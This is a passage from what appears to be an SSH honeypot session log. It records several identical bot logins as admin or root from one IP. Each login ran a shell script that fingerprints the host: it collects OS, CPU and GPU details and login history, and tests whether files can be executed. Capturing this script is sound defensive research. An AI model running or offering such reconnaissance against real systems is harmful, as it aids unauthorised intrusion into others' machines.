\"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:39:16.849368+00:00",
  "ended_at": "2026-08-27T09:39:16.952454+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "19c871fb-ac10-4830-b012-43742b9a5485",
  "name": "proud-obsidian-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 58194,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:37:31.605482+00:00",
  "ended_at": "2026-08-27T09:37:31.798004+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f2e6ef7c-d120-474f-a220-bba00b3a96fc",
  "name": "subtle-daring-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 55086,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:35:33.923158+00:00",
  "ended_at": "2026-08-27T09:35:34.032447+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "73ec52dc-d949-43ad-a5ff-db0fdb4a675b",
  "name": "balmy-tranquil-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 51964,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:33:39.431390+00:00",
  "ended_at": "2026-08-27T09:33:39.829852+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "12d4e7d4-0945-45e3-b013-898cc95f34d7",
  "name": "inland-faded-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 48876,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:31:46.852287+00:00",
  "ended_at": "2026-08-27T09:31:47.250724+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "daa0fcd3-e04d-4064-bb73-d0475bf925d2",
  "name": "ancient-freckled-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 45796,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:29:58.881624+00:00",
  "ended_at": "2026-08-27T09:29:59.236868+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "fd8b64b2-2e3b-4315-b936-7322e44271e3",
  "name": "bronzed-breezy-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 42706,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:28:08.609116+00:00",
  "ended_at": "2026-08-27T09:28:08.729439+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "034f276c-062c-4aa8-ac31-f5475fb5a416",
  "name": "burly-indigo-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 39588,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
